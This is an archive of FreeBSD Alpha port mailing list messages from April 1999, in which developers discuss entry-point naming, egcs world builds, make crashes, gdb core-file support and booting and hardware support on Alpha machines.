<14091.36560.366707.98896E@ett.sat.t.u-tokyo.ac.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 8 Apr 1999, Hidetoshi Shimokawa wrote: > Hi, > > I noticed that the name of default entry point is inconsistent on > alpha. In /usr/src/lib/csu/alpha/crt1.c, it is "_start" and > in /usr/src/contrib/binutils/ld/emulparams/elf64alpha.sh, it is > "__start". > > Becasuse it is "_start" on i386, I think we should remove > "ENTRY=__start" from elf64alpha.sh. Any comments? Good idea. It should either be removed or changed to match reality :-) > > P.S. > I'm on the way of make buildworld with egcs. If it succeed, > I will submit the fix for alpha tomorrow. You have sorted out what is killing make? I hope to be able to look into that either this evening or tomorrow if you haven't fixed things before then. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 8 2:21:36 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id CB452150F2 for ; Thu, 8 Apr 1999 02:21:34 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id KAA27511; Thu, 8 Apr 1999 10:21:59 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Thu, 8 Apr 1999 10:21:59 +0100 (BST) From: Doug Rabson To: Kedar Rajadnya Cc: alpha@freebsd.org Subject: Re: Alpha 164LX? In-Reply-To: <2.2.32.19990407200806.02433f1c@gw1> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 7 Apr 1999, Kedar Rajadnya wrote: > Hello, > > Can anybody please share the part number of the Alpha 164LX board that is > working well with FreeBSD? I don't have the part number but I can confirm that FreeBSD works well on the 164LX motherboard. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 8 4:22: 5 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from gate.keisu.t.u-tokyo.ac.jp (ns06.t.u-tokyo.ac.jp [133.11.68.1]) by hub.freebsd.org (Postfix) with SMTP id AE0F6150F8 for ; Thu, 8 Apr 1999 04:22:01 -0700 (PDT) (envelope-from simokawa@sat.t.u-tokyo.ac.jp) Received: (qmail 35046 invoked from network); 8 Apr 1999 11:20:01 -0000 Received: from sylph.sat.t.u-tokyo.ac.jp (10.6.1.20) by ns06.t.u-tokyo.ac.jp with SMTP; 8 Apr 1999 11:20:01 -0000 Received: from ett.sat.t.u-tokyo.ac.jp (ett.sat.t.u-tokyo.ac.jp [10.6.1.30]) by sylph.sat.t.u-tokyo.ac.jp (Postfix) with ESMTP id 296AF2DAAF; Thu, 8 Apr 1999 20:20:01 +0900 (JST) Received: from ett.sat.t.u-tokyo.ac.jp by ett.sat.t.u-tokyo.ac.jp (8.9.2/sat-V0.6) id UAA40735; Thu, 8 Apr 1999 20:19:48 +0900 (JST) Date: Thu, 08 Apr 1999 20:19:46 +0900 Message-ID: <14092.37074.479327.68127D@ett.sat.t.u-tokyo.ac.jp> From: Hidetoshi Shimokawa To: dfr@nlsystems.com Cc: freebsd-alpha@freebsd.org Subject: Re: _start or __start? In-Reply-To: In your message of "Thu, 8 Apr 1999 10:20:18 +0100 (BST)" References: <14091.36560.366707.98896E@ett.sat.t.u-tokyo.ac.jp> User-Agent: Wanderlust/0.9.7 (Everything She Wants) SEMI/1.13.2 (Mikawa) FLIM/1.12.5 (Hirahata) MULE XEmacs/21.2 (beta9) (Athena) (i386-unknown-freebsd3.1) X-Face: OE([KxWyJI0r[R~S/>7ia}SJ)i%a,$-9%7{*yihQk|]gl}2p#"oXmX/fT}Bn7:#j7i14gu$ jgR\S*&C3R/pJX wrote: > > On Thu, 8 Apr 1999, Hidetoshi Shimokawa wrote: > > > Hi, > > > > I noticed that the name of default entry point is inconsistent on > > alpha. In /usr/src/lib/csu/alpha/crt1.c, it is "_start" and > > in /usr/src/contrib/binutils/ld/emulparams/elf64alpha.sh, it is > > "__start". > > > > Becasuse it is "_start" on i386, I think we should remove > > "ENTRY=__start" from elf64alpha.sh. Any comments? > > Good idea. It should either be removed or changed to match reality :-) I will commit the change. > > > > P.S. > > I'm on the way of make buildworld with egcs. If it succeed, > > I will submit the fix for alpha tomorrow. > > You have sorted out what is killing make? I hope to be able to look into > that either this evening or tomorrow if you haven't fixed things before > then. Not yet. Please look into it. I have no idea about how to solve it. Your gdb port seems not to work anymore on my machine. /\ Hidetoshi Shimokawa \/ simokawa@sat.t.u-tokyo.ac.jp PGP public key: finger -l simokawa@sat.t.u-tokyo.ac.jp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 8 6:45: 5 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 726B41529A for ; Thu, 8 Apr 1999 06:44:51 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id JAA00616; Thu, 8 Apr 1999 09:42:46 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id JAA19552; Thu, 8 Apr 1999 09:42:13 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Thu, 8 Apr 1999 09:42:09 -0400 (EDT) To: Hidetoshi Shimokawa Cc: dfr@nlsystems.com, freebsd-alpha@FreeBSD.ORG Subject: Re: _start or __start? In-Reply-To: <14092.37074.479327.68127D@ett.sat.t.u-tokyo.ac.jp> References: <14091.36560.366707.98896E@ett.sat.t.u-tokyo.ac.jp> <14092.37074.479327.68127D@ett.sat.t.u-tokyo.ac.jp> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14092.45392.215313.360391@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hidetoshi Shimokawa writes: > > > > You have sorted out what is killing make? I hope to be able to look into > > that either this evening or tomorrow if you haven't fixed things before > > then. > > Not yet. Please look into it. > I have no idea about how to solve it. > Your gdb port seems not to work anymore on my machine. I have a slightly newer gdb that I built mainly for post-mortem kernel debugging. If you get a chance, try http://www.freebsd.org/~gallatin/gdb.gz. I've not yet tried this with an egcs built world. I'll start building the world with your changes (thanks!) and take a look at it myself. I make no promises; I'm generally not good with compiler / toolchain problems. ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 8 6:57: 3 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from gate.keisu.t.u-tokyo.ac.jp (ns06.t.u-tokyo.ac.jp [133.11.68.1]) by hub.freebsd.org (Postfix) with SMTP id 028A5159E5 for ; Thu, 8 Apr 1999 06:57:00 -0700 (PDT) (envelope-from simokawa@sat.t.u-tokyo.ac.jp) Received: (qmail 35673 invoked from network); 8 Apr 1999 13:55:00 -0000 Received: from sylph.sat.t.u-tokyo.ac.jp (10.6.1.20) by ns06.t.u-tokyo.ac.jp with SMTP; 8 Apr 1999 13:55:00 -0000 Received: from ett.sat.t.u-tokyo.ac.jp (ett.sat.t.u-tokyo.ac.jp [10.6.1.30]) by sylph.sat.t.u-tokyo.ac.jp (Postfix) with ESMTP id 2105C2DAAF; Thu, 8 Apr 1999 22:55:00 +0900 (JST) Received: from ett.sat.t.u-tokyo.ac.jp by ett.sat.t.u-tokyo.ac.jp (8.9.2/sat-V0.6) id WAA41058; Thu, 8 Apr 1999 22:54:46 +0900 (JST) Date: Thu, 08 Apr 1999 22:54:45 +0900 Message-ID: <14092.46373.121897.14695J@ett.sat.t.u-tokyo.ac.jp> From: Hidetoshi Shimokawa To: gallatin@cs.duke.edu Cc: dfr@nlsystems.com, freebsd-alpha@FreeBSD.ORG Subject: Re: _start or __start? In-Reply-To: In your message of "Thu, 8 Apr 1999 09:42:09 -0400 (EDT)" <14092.45392.215313.360391@grasshopper.cs.duke.edu> References: <14091.36560.366707.98896E@ett.sat.t.u-tokyo.ac.jp> <14092.37074.479327.68127D@ett.sat.t.u-tokyo.ac.jp> <14092.45392.215313.360391@grasshopper.cs.duke.edu> User-Agent: Wanderlust/0.9.7 (Everything She Wants) SEMI/1.13.2 (Mikawa) FLIM/1.12.5 (Hirahata) MULE XEmacs/21.2 (beta9) (Athena) (i386-unknown-freebsd3.1) X-Face: OE([KxWyJI0r[R~S/>7ia}SJ)i%a,$-9%7{*yihQk|]gl}2p#"oXmX/fT}Bn7:#j7i14gu$ jgR\S*&C3R/pJX wrote: > > > Hidetoshi Shimokawa writes: > > > > > > You have sorted out what is killing make? I hope to be able to look into > > > that either this evening or tomorrow if you haven't fixed things before > > > then. > > > > Not yet. Please look into it. > > I have no idea about how to solve it. > > Your gdb port seems not to work anymore on my machine. > > I have a slightly newer gdb that I built mainly for post-mortem > kernel debugging. If you get a chance, try > http://www.freebsd.org/~gallatin/gdb.gz. I've not yet tried this with > an egcs built world. > > I'll start building the world with your changes (thanks!) and take a > look at it myself. I make no promises; I'm generally not good with > compiler / toolchain problems. I recompiled gdb and it starts to work again. But it cannot load core file. Is this the problem of gdb or of cpu_coredump() in /sys/alpha/alpha/vm_machdep.c? NetBSD seems to have more complex cpu_coredump(). I recommand you to backup under /usr before buildinstall. libc has new function mkstemps() and egcs depends on it, so I also recommand you to build libc with old gcc first and then backup /usr. If you have more than two machines, you don't have to do this :-) /\ Hidetoshi Shimokawa \/ simokawa@sat.t.u-tokyo.ac.jp PGP public key: finger -l simokawa@sat.t.u-tokyo.ac.jp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 8 7:28:15 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 1A7DC159F0 for ; Thu, 8 Apr 1999 07:28:08 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id KAA01694; Thu, 8 Apr 1999 10:26:00 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id KAA19637; Thu, 8 Apr 1999 10:25:28 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Thu, 8 Apr 1999 10:25:27 -0400 (EDT) To: Hidetoshi Shimokawa Cc: dfr@nlsystems.com, freebsd-alpha@FreeBSD.ORG Subject: Re: _start or __start? In-Reply-To: <14092.46373.121897.14695J@ett.sat.t.u-tokyo.ac.jp> References: <14091.36560.366707.98896E@ett.sat.t.u-tokyo.ac.jp> <14092.37074.479327.68127D@ett.sat.t.u-tokyo.ac.jp> <14092.45392.215313.360391@grasshopper.cs.duke.edu> <14092.46373.121897.14695J@ett.sat.t.u-tokyo.ac.jp> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14092.47637.556250.939182@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hidetoshi Shimokawa writes: > I recompiled gdb and it starts to work again. > But it cannot load core file. Is this the problem of gdb or > of cpu_coredump() in /sys/alpha/alpha/vm_machdep.c? > NetBSD seems to have more complex cpu_coredump(). Darn! I'd forgotten about this.. My gdb only works interactively for user programs. As to where the problem is, I have no clue. That's why I never fixed it. Sorry.. Drew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 8 7:40:40 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from dns.proventum.net (dns.proventum.dk [194.19.64.5]) by hub.freebsd.org (Postfix) with ESMTP id 746EA14A2F for ; Thu, 8 Apr 1999 07:40:35 -0700 (PDT) (envelope-from cwalther@proventum.net) Received: from proventum.net (firewall.proventum.dk [194.19.131.10]) by dns.proventum.net (8.9.1/8.9.1) with ESMTP id QAA24734 for ; Thu, 8 Apr 1999 16:35:50 +0200 (MDT) Message-ID: <370CC270.AB276FE2@proventum.net> Date: Thu, 08 Apr 1999 16:51:28 +0200 From: Christoffer Walther Organization: Proventum X-Mailer: Mozilla 4.5 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-alpha@freebsd.org Subject: "MILO" for fbsd? Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello, I'm wondering how to boot into fbsd on an Alpha XL 266, without the SRM console .. Is their a fbsd program like the Linux linload.exe which loads MILO which then can load the kernel? I was told that Alpha fbsd is pretty stabil .. I'm thinking bout running an apache server with php and MySQL or mSQL, in production env. Regards, -- Christoffer Walther Unix & Security Proventum ISP Toldbodgade 51 C, 3. DK-1253 København K. Phone : +45 3345 4345 Fax : +45 3345 4343 E-mail : cwalther@proventum.net http://www.proventum.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 8 7:55:40 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 90A8C159BC for ; Thu, 8 Apr 1999 07:55:36 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id KAA02395; Thu, 8 Apr 1999 10:53:36 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id KAA19715; Thu, 8 Apr 1999 10:53:03 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Thu, 8 Apr 1999 10:53:03 -0400 (EDT) To: Christoffer Walther Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: "MILO" for fbsd? In-Reply-To: <370CC270.AB276FE2@proventum.net> References: <370CC270.AB276FE2@proventum.net> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14092.49573.630088.208044@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Christoffer Walther writes: > > Hello, > > I'm wondering how to boot into fbsd on an Alpha XL 266, without the SRM > console .. Is their a fbsd program like the > Linux linload.exe which loads MILO which then can load the kernel? Right now, your only option is SRM (and that's not an option for you..) There were people working on booting FreeBSD from the AlphaBios, but I believe the project is stalled, possibly due to a lack of documentation. Sorry.. Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 8 13:40:40 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from post.bgnett.no (post.bgnett.no [194.54.96.133]) by hub.freebsd.org (Postfix) with ESMTP id 66EC415243 for ; Thu, 8 Apr 1999 13:40:20 -0700 (PDT) (envelope-from erik@habatech.no) Received: from freebsd.habatech.no ([62.92.133.2]) by post.bgnett.no (8.8.8/8.8.8) with ESMTP id WAA08588 for ; Thu, 8 Apr 1999 22:38:01 +0200 (CEST) (envelope-from erik@habatech.no) From: erik@habatech.no Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Thu, 08 Apr 1999 22:43:24 +0200 (CEST) To: freebsd-alpha@freebsd.org Subject: Alpha FreeBSD resources? Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I have an Alpha that I don't want to waste on Windows NT. Are there any good resources about installing FreeBSD on such machines? I built the computer about a year ago, with an 164SX mainboard and a 21164PC CPU. Any experiences? ---------------------------------- E-Mail: erik@habatech.no Date: 08-Apr-99 Time: 22:40:42 This message was sent by XFMail ---------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 8 13:41:16 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 82891152AB for ; Thu, 8 Apr 1999 13:41:12 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id QAA11272; Thu, 8 Apr 1999 16:39:11 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id QAA21012; Thu, 8 Apr 1999 16:37:21 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Thu, 8 Apr 1999 16:37:21 -0400 (EDT) To: Hidetoshi Shimokawa Cc: freebsd-alpha@FreeBSD.ORG, obrien@NUXI.com, dfr@nlsystems.com Subject: Re: EGCS and Alpha builds In-Reply-To: <14092.15993.327163.67240P@ett.sat.t.u-tokyo.ac.jp> References: <14089.56075.776196.90506E@ett.sat.t.u-tokyo.ac.jp> <19990404131610.B77056@nuxi.com> <14092.1572.540347.14698D@ett.sat.t.u-tokyo.ac.jp> <14092.15993.327163.67240P@ett.sat.t.u-tokyo.ac.jp> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14093.2882.917218.258262@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hidetoshi Shimokawa writes: > At Thu, 08 Apr 1999 10:28:04 +0900, > Hidetoshi Shimokawa wrote: > > > > Hi, > > > > I have finally finished make world on alpha with egcs. > > Here is a fix. > > I have nasty problem with "make", which sometimes gets signal 11. > There may be some problem with libc.so. A workaround is to add > 'NOSHARED=YES' to /usr/src/usr.bin/make/Makefile. > > I don't know why... For what its worth, I've just survived 2 'make buildworld && make installworld; reboot' ... cycles without make crashing. I've also build a kernel from a clean compile directory (and checked in a quick fix for fp_emulate.c to get it building again under egcs). This is on a 500Mhz 21264 (I'm working on support for the xp1000). Is there anything in particular you need to do to cause make to crash? Cheers, Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 8 13:42:43 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id C944214D21 for ; Thu, 8 Apr 1999 13:42:40 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id QAA11301; Thu, 8 Apr 1999 16:40:36 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id QAA21026; Thu, 8 Apr 1999 16:40:03 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Thu, 8 Apr 1999 16:40:03 -0400 (EDT) To: Andrew Gallatin Cc: Hidetoshi Shimokawa , freebsd-alpha@FreeBSD.ORG, obrien@NUXI.com, dfr@nlsystems.com Subject: Re: EGCS and Alpha builds In-Reply-To: <14093.2882.917218.258262@grasshopper.cs.duke.edu> References: <14089.56075.776196.90506E@ett.sat.t.u-tokyo.ac.jp> <19990404131610.B77056@nuxi.com> <14092.1572.540347.14698D@ett.sat.t.u-tokyo.ac.jp> <14092.15993.327163.67240P@ett.sat.t.u-tokyo.ac.jp> <14093.2882.917218.258262@grasshopper.cs.duke.edu> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14093.5105.847340.432566@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Andrew Gallatin writes: > > For what its worth, I've just survived 2 'make buildworld && make > installworld; reboot' ... cycles without make crashing. I've also I should mention that this was using a totally clean /usr/src, checked out at about 10am EST. Drew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 8 14:29: 7 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from octopus.originative (originat.demon.co.uk [158.152.220.9]) by hub.freebsd.org (Postfix) with ESMTP id 5063715515 for ; Thu, 8 Apr 1999 14:28:55 -0700 (PDT) (envelope-from paul@originative.co.uk) Received: by octopus with Internet Mail Service (5.5.2232.9) id <2RSVN3LD>; Thu, 8 Apr 1999 22:24:58 +0100 Message-ID: From: paul@originative.co.uk To: gallatin@cs.duke.edu, simokawa@sat.t.u-tokyo.ac.jp Cc: dfr@nlsystems.com, freebsd-alpha@FreeBSD.ORG Subject: RE: _start or __start? Date: Thu, 8 Apr 1999 22:24:57 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2232.9) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > -----Original Message----- > From: Andrew Gallatin [mailto:gallatin@cs.duke.edu] > Sent: 08 April 1999 15:25 > To: Hidetoshi Shimokawa > Cc: dfr@nlsystems.com; freebsd-alpha@FreeBSD.ORG > Subject: Re: _start or __start? > > > > Hidetoshi Shimokawa writes: > > I recompiled gdb and it starts to work again. > > But it cannot load core file. Is this the problem of gdb or > > of cpu_coredump() in /sys/alpha/alpha/vm_machdep.c? > > NetBSD seems to have more complex cpu_coredump(). > > Darn! I'd forgotten about this.. My gdb only works interactively for > user programs. > > As to where the problem is, I have no clue. That's why I never fixed > it. Ahh, that explains why I couldn't use it to do postmortem analysis then! I couldn't use it to do interactive debugging either since I couldn't get the FreeBSD hacks to use the serial port for remote gdb and the console to work. My alpha work is temporarily sidelined since I'm a bit busy and the Multia is proving a challenge to do development work on. 1) NFS crashes when you load it as a KLD, consistently reproducible. NFS is essential since there's too little disk on the Multia to do any development work. 2) No TGA support so you have to use the serial console which precludes using remote GDB. 3) No GDB support for core dumps, so effectively there's no GDB support at all for me. 4) Although I've put a Matrox millenium PCI card in, syscons doesn't see it. vga0 detects it but syscons doesn't. Hopefully in another week I'll have more time to look into some of these problems again. Paul. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 8 15: 2:44 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 5611314C20 for ; Thu, 8 Apr 1999 15:02:42 -0700 (PDT) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.1) with ESMTP id PAA15919; Thu, 8 Apr 1999 15:00:40 -0700 (PDT) (envelope-from jdp@polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.9.2/8.9.1) id PAA79912; Thu, 8 Apr 1999 15:00:40 -0700 (PDT) (envelope-from jdp@polstra.com) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <14092.16932.302779.24098L@ett.sat.t.u-tokyo.ac.jp> Date: Thu, 08 Apr 1999 15:00:40 -0700 (PDT) Organization: Polstra & Co., Inc. From: John Polstra To: Hidetoshi Shimokawa Subject: Re: EGCS and Alpha builds Cc: alpha@FreeBSD.ORG Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hidetoshi Shimokawa wrote: > At Wed, 7 Apr 1999 19:48:26 -0700 (PDT), > John Polstra wrote: >> >> #define DWARF2_UNWIND_INFO 0 > > I added the line to freebsd.h, but compile failed because > 'INCOMING_RETURN_ADDR_RTX' is not defined. it is defined only > in i386/i386.h but not in alpha/*. Oh. Sorry for the bad advice, then. I guess the dwarf2 exceptions must not be supported on the alpha at this time. > BTW, dwarf2out.c is conditioned with '#ifdef DWARF2_DEBUGGING_INFO'. > Doesn't '#define DWARF2_UNWIND_INFO 0' mean enabling DWARF2? I thought it meant enable DWARF2 but leave the default for exceptions as setjmp-longjmp. But I obviously don't understand it as well as I thought I did. :-} John --- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Self-interest is the aphrodisiac of belief." -- James V. DeLong To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 8 15:32:30 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 9591714BD4 for ; Thu, 8 Apr 1999 15:32:27 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id SAA13602; Thu, 8 Apr 1999 18:30:15 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id SAA21307; Thu, 8 Apr 1999 18:29:42 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Thu, 8 Apr 1999 18:29:41 -0400 (EDT) To: paul@originative.co.uk Cc: simokawa@sat.t.u-tokyo.ac.jp, dfr@nlsystems.com, freebsd-alpha@FreeBSD.ORG Subject: RE: _start or __start? In-Reply-To: References: X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14093.11304.145065.519608@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org paul@originative.co.uk writes: > > Darn! I'd forgotten about this.. My gdb only works interactively for > > user programs. > > > > As to where the problem is, I have no clue. That's why I never fixed > > it. > > Ahh, that explains why I couldn't use it to do postmortem analysis then! You can't use it for postmortem analysis of user programs, but it *should* work for postmortem analysis of kernel crashdumps. The code that writes these two types of core files is totally different. I've had problems getting a proper stack trace out if it (sometimes it works, sometimes it doesn't, and I'm not good enough at hacking gdb to know how to fix it or even what's wrong), but you should be able to get a valid crashdump and at least look at global variables. In the worst case, you should at least be able to get a trace with ddb on the way down. I'm eagerly looking forward to somebody with a clue getting gdb working on alphas... Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 9 2: 3:32 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from gate.keisu.t.u-tokyo.ac.jp (ns06.t.u-tokyo.ac.jp [133.11.68.1]) by hub.freebsd.org (Postfix) with SMTP id C91A014C21 for ; Fri, 9 Apr 1999 02:03:29 -0700 (PDT) (envelope-from simokawa@sat.t.u-tokyo.ac.jp) Received: (qmail 40198 invoked from network); 9 Apr 1999 09:01:28 -0000 Received: from sylph.sat.t.u-tokyo.ac.jp (10.6.1.20) by ns06.t.u-tokyo.ac.jp with SMTP; 9 Apr 1999 09:01:28 -0000 Received: from ett.sat.t.u-tokyo.ac.jp (ett.sat.t.u-tokyo.ac.jp [10.6.1.30]) by sylph.sat.t.u-tokyo.ac.jp (Postfix) with ESMTP id DC6FC2DAAF; Fri, 9 Apr 1999 18:01:27 +0900 